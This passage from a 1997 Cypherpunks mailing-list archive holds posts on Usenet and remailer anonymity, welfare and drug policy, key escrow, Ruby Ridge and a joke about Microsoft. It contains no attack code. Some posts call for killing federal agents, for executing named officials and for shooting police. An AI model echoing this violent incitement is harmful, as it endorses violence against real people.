In-Reply-To: <199708181504.LAA17855@pinotnoir.media.mit.edu>
Message-ID: <3.0.2.32.19970821232543.02f62530@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> If I understand the implemented Eternity service correctly, it
>> fundamentally relies on Usenet as the propagation method. What happens
>> if Usenet dies? How will I continue to refresh my Eternity document?

Was it Yogi Berra who said "Nobody goes there any more; it's too crowded."?
While Usenet is becoming a vaster wasteland by the month,
for the purposes of an Eternity service, or alt.anonymous.messages,
that's fine, because there's more noise to hide your signal in,
and it doesn't really matter if it's 98% spam as long as your
potential user base can get the service without attracting much attention.

The more interesting problem with Usenet is that it no longer
operates in the old flood-routing fashion, where everybody had
all the news they could handle on their machines and could
quietly grub the articles they wanted out of /usr/spool/news,
and a 300...1200...9600 baud modem could receive it all.
Instead, news tends to be exchanged between servers that can
handle the flood of 1+ GB/day, and news clients download the 
articles they want from the servers, which makes it much easier to
monitor who's actually reading what, though you could still get
a feed of alt.anonymous.messages or alt.binaries.pictures.stego
without the Traffic Analysts knowing which messages were for you.

Some counters to this may be to use services like DejaNews to read
the news through web anonymizers (if you trust them), or to
build news retrieval features into remailers (if you trust them,
and preferably with a pay-per-retrieval system so the remailer
doesn't just get resource-abused or entrapped as a porn retriever)
or to use SSH to log in to your shell accounts on your cash-paid ISP.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 22 Aug 1997 15:16:52 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Chiropractic
In-Reply-To: <199708191755.MAA03771@mailhub.amaranth.com>
Message-ID: <3.0.2.32.19970821235638.0068bebc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>Well the field of Psychology is second only Chiropracticy for quacks.
...
>Actually, you are being too kind here to Chiropractic.

Feh.  While there certainly are chiropractors who are quacks
(especially since it's much easier for a quack to become a
chiropractor than a government-licensed Real Doctor (:-) ),
and while some of the theory of the various schools is quite bogus,
there are chiropractors who are quite skilled at making people's
backs feel better and helping other musculo-skeletal problems,
and most of them do follow a certain amount of scientific method in
that they tend to keep the hypotheses that work and reject those that
don't (the hypothesis being either "this technique will help the patient 
feel better" or "the rubes will keep coming back for this", 
depending on the particular practitioner.)

>But beware the siren song of weeding out quacks. 
Hear, hear!

>My local community floated a proposal to license and regulate psychics, 
>palm readers, fortune tellers, etc., until wiser heads prevailed,
>pointing out the essential idiocy of this.  Not to mention the First 

Back in Red Bank, New Jersey, there was a long-standing ban on
fortune-tellers, tarot-card readers, etc.; people had pretty much
forgotten about it until a few years back when somebody opened a
NewAgey book&crystal complete with tarot reading and and the like,
and somebody tried to get it closed down.  The original laws were
intended to stop frauds preying on the gullible; they weren't
really designed to keep the True Believers from selling to each other...
I think the law got overturned.

And By The Way, Tim, your aura indicates a high level of cynicism,
which interferes with the psychic abilities of people around you.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Fri, 22 Aug 1997 03:17:26 +0800
To: adejoode@replay.com
Subject: Re: Alex le Heux
In-Reply-To: <199708201358.PAA05461@basement.replay.com>
Message-ID: <199708220024.AAA00347@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



Alex de Joode wrote:

> : What's a sourcecode book without a few drinks spilled on it? :)

> Whatever happend to the sourcecode books ? :)

fuel for nostangia and hubris. 

vipul

-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Fri, 22 Aug 1997 03:40:53 +0800
To: kent@songbird.com
Subject: Re: An end to "court appointed attorneys"
In-Reply-To: <19970820222934.23073@bywater.songbird.com>
Message-ID: <199708220040.AAA00446@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



Kent Crispin wrote:

> On Wed, Aug 20, 1997 at 08:51:09PM -0700, Tim May wrote:
> > At 1:16 PM -0700 8/20/97, Patrick Oonk wrote:
> > 
> > But the ability of a herd to take a vote, real or alleged, will not be
> > sufficient to collect tribute from those who don't want to make the
> > contribution freely.

> Note another characteristic of cult thinking -- total separation of
> the illuminati from the "herd" -- the idea that the "chosen" are
> irrevocably different from those other unfortunate creatures that
> accidentally share the same physical form. 

the idea is that the "competent" (not "chosen") are irrevocably different 
from those other "incompetent and parasitical" (and not "unfortunate") 
creatures that accidentally share the same physical form.

best,
vipul

-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rishab Aiyer Ghosh <rishab@dxm.org>
Date: Fri, 22 Aug 1997 04:39:52 +0800
To: "'tcmay@got.net>
Subject: an end to "courts" (was RE: An end to "court appointed attorneys" )
Message-ID: <01BCAE9E.55579440@d414.pppdel.vsnl.net.in>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
>It's time to stop this "court appointed attorney" nonsense. If we as a
>nation want to change our legal system to one where the court appoints both
>sides of a case, prosecution and defense, as in many other countries, fine.
>But it's absurd to finance the hiring of defense lawyers.

or courts, for that matter. presumably under cryptoanarchy you won't
have courts - an imposition of authority on people presumed to accept
it - but arbitrators, agreed upon by the two sides. 

unlike in the common-law, jury system, such arbitrators would perhaps 
be able to use their intelligence to figure things out by talking to the opposing
sides directly, instead of requiring lawyers to pick fights in matters of a "law"
so distant from the people it affects that they can't interpret it directly.

however, with courts - and the common-law/jury system, which has _some_ 
benefits over, say, the French or Spanish inquisitorial system of law - you
tend to require lawyers, and i suppose court-appointed attornees are a way
of "making justice blind" as it ought to be. of course, perhaps lawyers should
be avoided by not just the poor defence, but the rich prosecution - the hilariously
entertaining McLibel case in Britain showed that gutsy, if somewhat misguided,
lawyerless people could pull quite a bit over an expensive "dream team", which
McDonalds had.


-Rishab

First Monday - The Peer-Reviewed Journal on the Internet 
http://www.firstmonday.dk/  Munksgaard International Publishers, Copenhagen
          
Intl & Managing Editor - Rishab Aiyer Ghosh (ghosh@firstmonday.dk) 
Mobile +91 98110 14574; Fax +91 11 2209608; Tel +91 11 2454717 
A4/204 Ekta Apts., 9 Indraprastha Extn, New Delhi 110092 INDIA







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 22 Aug 1997 16:56:24 +0800
To: cypherpunks@toad.com
Subject: Re: Welfare Solution #389 / Re: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <199708220530.HAA22270@basement.replay.com>
Message-ID: <3.0.2.32.19970822011845.02fb7814@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>William H. Geiger III wrote:
>> A prime example is the welfair class in America. All their basic needs are
>> provided for by the State (food, housing, medical, education, ...) 
[If you're going to rant about government-provided education,
_please_ spell most of your words correctly, or let technology help you...]

>>and yet they have the highest crime rates.
No, they have high rates of arrest and conviction for law violations,
primarily drug laws.  Yes, there's also crime, but that's a separate problem.

>Welfare Solution #389:
>  How about this? - When a person on welfare is busted for heroin use,
>or theft to support a habit, the State thereafter sends the person's

Last time I ran the numbers, the estimated free-market cost of 
medical-quality heroin is less than $1/day, and cocaine about $3/day;
the coke figures are from Bush's 1989 drug-control policy.
All the crime and violence involved in the black-market trade is because
somebody's convinced society that there's a serious moral difference
between a junkie and a drunkard, and that Government Needs A War To Fix It.
I work in San Francisco, where there are junkies and drunkards begging
on the street corners (except when the cops run them off for annoying the
politer classes), and I've noticed that most of them can afford tobacco;
the real cost of politically less correct drugs is about the same.

So if you want the State sending the junkie's welfare check to the
theft victims, you should also ask them to send the drug cops's paycheck
as well.  Because they're partners in crime.

======
But this isn't a cypherpunks issue any more, unless we note that,
if the government would stop creating black markets like this,
there'd be a lot less need for Anguillan remailers, Swiss bank accounts,
money-laundering conferences, and many of the other techniques we use
to help the oppressed and downtrodden keep making the big bucks....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 22 Aug 1997 14:48:04 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <19970821222631.62433@bywater.songbird.com>
Message-ID: <199708220630.BAA17428@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970821222631.62433@bywater.songbird.com>, on 08/21/97 
   at 10:26 PM, Kent Crispin <kent@songbird.com> said:

>The dream is that if you eliminate welfare the cold glare of reality 
>will force the "welfair class" to become productive citizens or die.  
>There are other possibilities.

Not really as those who work for a living will always be able to afford
better weapons. :P

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Charset: cp850
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 22 Aug 1997 14:13:40 +0800
To: cypherpunks@toad.com
Subject: Re: State Charges in Weaver Case
Message-ID: <zfSKWel2fMK2Yh4Ik/Xwww==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian wrote:
> 
> On Thu, 21 Aug 1997, Mike Duvos wrote:
> 
> > I suppose it has something to do with that "only following
> > orders" thing. :)
> 
> Fine, then what shall we charge the one that gave the order with?  And
> what shal be the punishment?  If the one who takes the order relinquishes
> reposability, then the one giving the order must be doubly responsible.

  Jeez, Ray. If you follow this twisted train of logic, you end up
expecting the President and the Legislature to take responsibility for
the State of the Union.
  Are you some kind of godless Commie, or something? You'll certainly
feel foolish when the FBI lab proves that the trigger was pulled by
a drug dealer who was told to do so by a child molester. It's just a
shame that those poor federal agents had to be there to witness the
tragedy.

GovtLicensedMurderMonger







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 22 Aug 1997 08:16:46 +0800
To: cypherpunks@toad.com
Subject: Microsoft TV announces new TV Dinner product
Message-ID: <199708212358.BAA17871@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



INSTRUCTIONS FOR MICROSOFT'S NEW TV DINNER PRODUCT
   :
   :  You must first remove the plastic cover.  By doing so you agree to
   :  accept and honor Microsoft rights to all TV dinners.  You may not
   :  give anyone else a bite of your dinner (which would constitute an
   :  infringement of Microsoft's rights).  You may, however, let others
   :  smell and look at your dinner and are encouraged to tell them how
   :  good it is.
   :
   :  If you have a PC microwave oven, insert the dinner into the oven.
   :  Set the oven using these keystrokes:   
<\mstv.dinn.//08.5min@50%heat//
   :  Then enter: <ms//start.cook_dindin/yummy\|/yum~yum:-)gohot#cookme.
   :
   :  If you have a Mac oven, insert the dinner and press start. The
oven
   :  will set itself and cook the dinner.
   :
   :  If you have a UNIX oven, insert the dinner, enter the
ingredients   
of
   :  the dinner (found on the package label), the weight of the dinner,
   :  and the desired level of cooking and press start.  The oven will
   :  calculate the time and heat and cook the diner exactly to your
   :  specification.
   :
   :  Be forewarned that Microsoft dinners may crash, in which case your
   :  oven must be restarted.  This is a simple procedure.  Remove the
   :  dinner from the oven and enter
   :  <ms.nodarn.good/tryagain\again/again.rats!.
   :  This process may have to
   :  be repeated.  Try unplugging the microwave and then doing a cold
   :  reboot. If this doesn't work, contact your hardware vendor.
   :
   :  Many users have reported that the dinner tray is far too big,   
larger
   :  than the dinner itself, having many useless compartments, most of
   :  which are empty.  These are for future menu items.  If the tray is
   :  too large to fit in your oven you will need to upgrade your
   :  equipment.
   :
   :  Dinners are only available from registered outlets, and only the
   :  chicken variety is currently produced. If you want another
variety,
   :  call MicrosoftHelp and they will explain that you really don't
want
   :  another variety. Microsoft Chicken is all you really need.
   :
   :  Microsoft has disclosed plans to discontinue all smaller
versions   
of
   :  their chicken dinners.  Future releases will only be in the larger
   :  family size.  Excess chicken may be stored for future use, but
must
   :  be saved only in Microsoft approved packaging.
   :
   :  Microsoft promises a dessert with every dinner after '98. However,
   :  that version has yet to be released. Users have permission to get
   :  thrilled in advance.
   :
   :  Microsoft dinners may be incompatible with other dinners in the
   :  freezer, causing your freezer to self-defrost.  This is a feature,
   :  not a bug.  Your freezer probably should have been defrosted   
anyway.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Fri, 22 Aug 1997 15:36:38 +0800
To: cypherpunks@toad.com
Subject: Re: take The Boulder Pledge now!!!
In-Reply-To: <199708220507.WAA10828@toad.com>
Message-ID: <Chameleon.872229836.amp@rcnu3077>
MIME-Version: 1.0
Content-Type: text/plain



=snip=
> The Boulder Pledge works by making junk mail unprofitable.  If nobody 
> *ever buys anything,* spammers eventually will quit.  I hope.

> End the Plague.  Raise your right hand.  Read aloud [the Boulder 
> Pledge].  Then, pass it on, via Email to 10 or 20 of your concerned
> friends.  Thanks.

hahahaha ROTF! Stop spam, please forward this to 2000 of your closest friends!





--
http://131.107.1.68/bbs/msnbc-commerce/710.htm


---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 08/22/97
Time: 02:02:46
Visit me at http://www.pobox.com/~amp

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------
"The Legislature interprets the Constitution as damage, and routes around it."

For the benefit of Spambots everywhere:
webmaster@localhost
abuse@localhost
postmaster@localhost





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 22 Aug 1997 15:00:47 +0800
To: cypherpunks@toad.com
Subject: Re: State Charges in Weaver Case
In-Reply-To: <19970822005931.27111.qmail@zipcon.net>
Message-ID: <3XqTBe4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos <enoch@zipcon.net> writes:
>
> Shouldn't it be ... involuntary
> manslaughter for using possibly excessive force against an armed
> attacker?

No, it should be a $100 reward for icing a motherfucking fed.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 22 Aug 1997 14:59:21 +0800
To: cypherpunks@toad.com
Subject: Re: ROTFL / Re: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <199708220530.HAA22261@basement.replay.com>
Message-ID: <2gRTBe6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

>
>   "When all you have is spam, everyone looks like Tim C. May."
>          - Dimitri Vulis, KOTM

What was that joke about the midget who went to the nudist camp and
though that everybody looked like Fidel Castro?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 22 Aug 1997 14:41:22 +0800
To: cypherpunks@toad.com
Subject: Key Recovery Solution # 12 / Re: Socio-Economic Cults (Re: CypherPunk Cults)
Message-ID: <MDX552rP+XfwN6oEXlRYIg==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
> Remember this the next time you hear some clueless idiot claim that
> industry wants full key recovery. The last thing industry needs is access
> to all their confidential information during discovery.

Key Recovery Solution # 12:
  In order to keep the keys safe from the prying eyes of government,
industry could escrow them with a private company like INSLAW.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 22 Aug 1997 16:09:26 +0800
To: Mike Duvos <enoch@zipcon.net>
Subject: Re: State Charges in Weaver Case
In-Reply-To: <19970822005931.27111.qmail@zipcon.net>
Message-ID: <199708220723.CAA17958@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970822005931.27111.qmail@zipcon.net>, on 08/21/97 
   at 05:59 PM, Mike Duvos <enoch@zipcon.net> said:


>Here's an odd Ruby Ridge development, which just floated across Reuters.

>Idaho prosecutors have filed two sets of state charges against persons
>involved in the incident.

>Kevin Harris was charged with First Degree Murder for "killing Deputy
>U.S. Marshall William Degan willfully and with malice aforethought."

>FBI Sniper Lon Horiuchi was charged with involuntary manslaughter in the
>death of Vicki Weaver.

>Shouldn't it be First Degree Murder for deliberately killing someones
>wife with a baby in her arms, and involuntary
>manslaughter for using possibly excessive force against an armed
>attacker?

>Seems a bit backwards to me.

>I suppose it has something to do with that "only following
>orders" thing. :)

He should be up on 1st Degree Murder charges as these were a planned,
permeditated murders. Freeh, Reno, and Clinton should all be up on the
same caharges as co-consiritors for planning and ordering the murders and
for covering up the matter after the fact.

Of cource all 3 should be introduced to "'ol Sparky" for their part in the
murders at Waco.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Fri, 22 Aug 1997 14:58:57 +0800
To: cypherpunks@Algebra.COM
Subject: Welfare Solution #389
Message-ID: <3.0.3.32.19970822025223.006e9e10@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 07:30 AM 8/22/97 +0200, Anonymous wrote:
>
>Welfare Solution #389:
>  Many in the welfair class have their basic needs met by the government
>and then steal to buy heroin.
>  How about this? - When a person on welfare is busted for heroin use,
>or theft to support a habit, the State thereafter sends the person's
>welfare check to a Crime Restitution fund and lets the person keep
>stealing, only now it is for the purpose of supplying their own
>basic needs.

In NY, when a defendant gets convicted of a crime including a drug offense,
s/he has to pay a mandatory surcharge part of which is a Crime Victims'
Fee.  [Query: who is the victim in a drug case? -- but I digress...].
Also, if it was a crime where the victim suffered financial losses, the
defendant not only has to pay the Crime Victim's Fee but also restitution
to the victim.

Additionally, pursuant to Federal Law, anyone convicted of a drug charge
and, who is residing is federally-subsidized housing, becomes subject to
eviction proceedings.  [Quirk: if one family member is engaged in such
business activities, the entire family is captured under the law's umbrella
but, again, I digress..].


>  The crime rate stays the same, but the victims receive some amount
>of recompensation.

So-called crime rates are subject to the compilation *and* interpretation
of statistics, and for those of us who were lucky enough to have studied
Statistics, we know that these so-called statistical rates are ripe for
producing the desired results versus providing an accurate statistical
account.

Case in point: Prior to Reagan's Administration, the Armed Forces were
never included in the employed or non-employed categories.  Reagan added
the Armed Forces to the employed category, and the masses were tickled pink
when the government announced that employment rates increased dramatically.

 
>Damn, I'm smart...

Since I don't know you, I am in no position to comment.  You may be smart,
highly  intelligent, or a genius - or you may possess the analytical
processes of a gerbil.  Whichever category you are within, perhaps you
should keep in mind the old saying: "It's a thin line between genius and
insanity."  [A little appetizer for thought...].




**************************************************************************
Lynne L. Harrison, Esq.     |    Lazlo's Chinese Relatively Axiom:
Poughkeepsie, New York      |    "No matter how great your triumphs or
lharrison@mhv.net           |    how tragic your defeats, approximately
http://www.dueprocess.com   |    one billion Chinese couldn't care less."
**************************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 22 Aug 1997 09:17:20 +0800
To: cypherpunks@toad.com
Subject: Re: heart
In-Reply-To: <Pine.LNX.3.93.970822052640.300B-100000@shirley>
Message-ID: <199708220055.CAA28492@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:39 AM 8/22/97 +1000, you wrote:
>> What compassion did they show?  Toilet plungers?  Bullets in the head,
>> flame throwers and tanks?
>
>So we should resond in a simmler mannor?

Should we just sit idly by and let police officers attack citizens?

Or maybe we should do what our founders wanted, defend ourselves with
miliary rifles.  So if a pig wants to shove a crowbar up your ass, are you
going to shoot him, or just say "I would never violate your rights like this!"
/============================================================\
 "The right of the people to be secure in their persons,   houses,  papers,
and effects, against unreasonable searches   and  seizures, shall not be
violated."
			-U.S. Constitution, Amendment IV
\============================================================/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Fri, 22 Aug 1997 15:02:11 +0800
To: cypherpunks@Algebra.COM
Subject: Welfare Solution #389
Message-ID: <3.0.3.32.19970822025549.006f3d6c@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 07:30 AM 8/22/97 +0200, Anonymous wrote:
>
>Welfare Solution #389:
>  Many in the welfair class have their basic needs met by the government
>and then steal to buy heroin.
>  How about this? - When a person on welfare is busted for heroin use,
>or theft to support a habit, the State thereafter sends the person's
>welfare check to a Crime Restitution fund and lets the person keep
>stealing, only now it is for the purpose of supplying their own
>basic needs.

In NY, when a defendant gets convicted of a crime including a drug offense,
s/he has to pay a mandatory surcharge part of which is a Crime Victims'
Fee.  [Query: who is the victim in a drug case? -- but I digress...].
Also, if it was a crime where the victim suffered financial losses, the
defendant not only has to pay the Crime Victim's Fee but also restitution
to the victim.

Additionally, pursuant to Federal Law, anyone convicted of a drug charge
and, who is residing is federally-subsidized housing, becomes subject to
eviction proceedings.  [Quirk: if one family member is engaged in such
business activities, the entire family is captured under the law's umbrella
but, again, I digress..].


>  The crime rate stays the same, but the victims receive some amount
>of recompensation.

So-called crime rates are subject to the compilation *and* interpretation
of statistics, and for those of us who were lucky enough to have studied
Statistics, we know that these so-called statistical rates are ripe for
producing the desired results versus providing an accurate statistical
account.

Case in point: Prior to Reagan's Administration, the Armed Forces were
never included in the employed or non-employed categories.  Reagan added
the Armed Forces to the employed category, and the masses were tickled pink
when the government announced that employment rates increased dramatically.

 
>Damn, I'm smart...

Since I don't know you, I am in no position to comment.  You may be smart,
highly  intelligent, or a genius - or you may possess the analytical
processes of a gerbil.  Whichever category you are within, perhaps you
should keep in mind the old saying: "It's a thin line between genius and
insanity."  [A little appetizer for thought...].




**************************************************************************
Lynne L. Harrison, Esq.     |    Lazlo's Chinese Relatively Axiom:
Poughkeepsie, New York      |    "No matter how great your triumphs or
lharrison@mhv.net           |    how tragic your defeats, approximately
http://www.dueprocess.com   |    one billion Chinese couldn't care less."
**************************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 22 Aug 1997 17:24:46 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Welfare Solution #389 / Re: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <3.0.2.32.19970822011845.02fb7814@popd.ix.netcom.com>
Message-ID: <199708220913.EAA18778@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970822011845.02fb7814@popd.ix.netcom.com>, on 08/22/97 
   at 01:18 AM, Bill Stewart <stewarts@ix.netcom.com> said:

>>William H. Geiger III wrote:
>>> A prime example is the welfair class in America. All their basic needs are
>>> provided for by the State (food, housing, medical, education, ...)
 
>[If you're going to rant about government-provided education, _please_
>spell most of your words correctly, or let technology help you...]

This was neither a rant about government provide education nor is one typo
in a posting relevant to the topic.

>>>and yet they have the highest crime rates.

>No, they have high rates of arrest and conviction for law violations,
>primarily drug laws.  Yes, there's also crime, but that's a separate
>problem.                                ^^^^^

Which was the issue I was addressing. I made no mention of drugs in my
post. Perhaps in the future you could make the effort to quote properly so
the statements of others are not mistaken for mine.

The rest below is irrelevant as it was not the topic I was addressing.

>>Welfare Solution #389:
>>  How about this? - When a person on welfare is busted for heroin use,
>>or theft to support a habit, the State thereafter sends the person's

>Last time I ran the numbers, the estimated free-market cost of 
>medical-quality heroin is less than $1/day, and cocaine about $3/day; the
>coke figures are from Bush's 1989 drug-control policy.
>All the crime and violence involved in the black-market trade is because
>somebody's convinced society that there's a serious moral difference
>between a junkie and a drunkard, and that Government Needs A War To Fix
>It. I work in San Francisco, where there are junkies and drunkards
>begging on the street corners (except when the cops run them off for
>annoying the politer classes), and I've noticed that most of them can
>afford tobacco; the real cost of politically less correct drugs is about
>the same.

>So if you want the State sending the junkie's welfare check to the theft
>victims, you should also ask them to send the drug cops's paycheck as
>well.  Because they're partners in crime.

>======
>But this isn't a cypherpunks issue any more, unless we note that, if the
>government would stop creating black markets like this, there'd be a lot
>less need for Anguillan remailers, Swiss bank accounts, money-laundering
>conferences, and many of the other techniques we use to help the
>oppressed and downtrodden keep making the big bucks....

>#			Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp #   (If
>this is a mailing list or news, please Cc: me on replies.  Thanks.)


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 22 Aug 1997 16:45:02 +0800
To: cypherpunks@toad.com
Subject: Incoming! / Re: Chiropractic
Message-ID: <YClij4cfY2HtSFmsZct9AA==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:
 
> And By The Way, Tim, your aura indicates a high level of cynicism,
> which interferes with the psychic abilities of people around you.

  That's not his aura, that's tracer bullets, Bill.

  Bill...?
  Bill.......???







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 22 Aug 1997 06:59:25 +0800
To: gturk@concentric.net
Subject: Re: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <3.0.3.32.19970821112449.00973890@pop3.concentric.net>
Message-ID: <Pine.LNX.3.93.970822043058.116D-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 21 Aug 1997 gturk@concentric.net wrote:

> TruthMonger wrote:
> 
> >  Tim speaks of those who feel it is their duty/right to "collect
> >tribute from those who don't want to make the contribution freely."
> 
> You must be referring to the Cult of Redistribution.

The way I see it is quite simple,  if these peaple where not payed off it
is most likely that thay will turn to crime.  Other then condemming every
single impovished person to death, this is one of the better soultions to
a difficalt problem.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 22 Aug 1997 08:11:50 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: heart
In-Reply-To: <Pine.SUN.3.96.970821134724.8176A-100000@beast.brainlink.com>
Message-ID: <Pine.LNX.3.93.970822052640.300B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 21 Aug 1997, Ray Arachelian wrote:

> The elected scum are far from being human.

We can't let one group or other be considered less the human[1].  No one
is less or more desurving of basic rights.  The second you allow yourself
to take that fundermentle step of saying that a group is less worthy then
anouther group you tread down the path that leeds to desaster.

> Apparently you haven't been paying attention to lovely incidents
> involving plungers.

The unfortunate inserdent with the plunger is an eclent example of what
I'm saying.  This the victom was reduced from a human to someone without
thouse rights in the mind of the perpertator.

[...]

> What compassion did they show?  Toilet plungers?  Bullets in the head,
> flame throwers and tanks?

So we should resond in a simmler mannor?

[...]

> > Note that this process _always_ includes a group of other 
> > humans which are demonized
[...]
> Right.  Same thing they must have been feeding the FBI the morning of the
> Waco incident.

Exactly.  I can see a hellish future where the Cyperpunks have become the
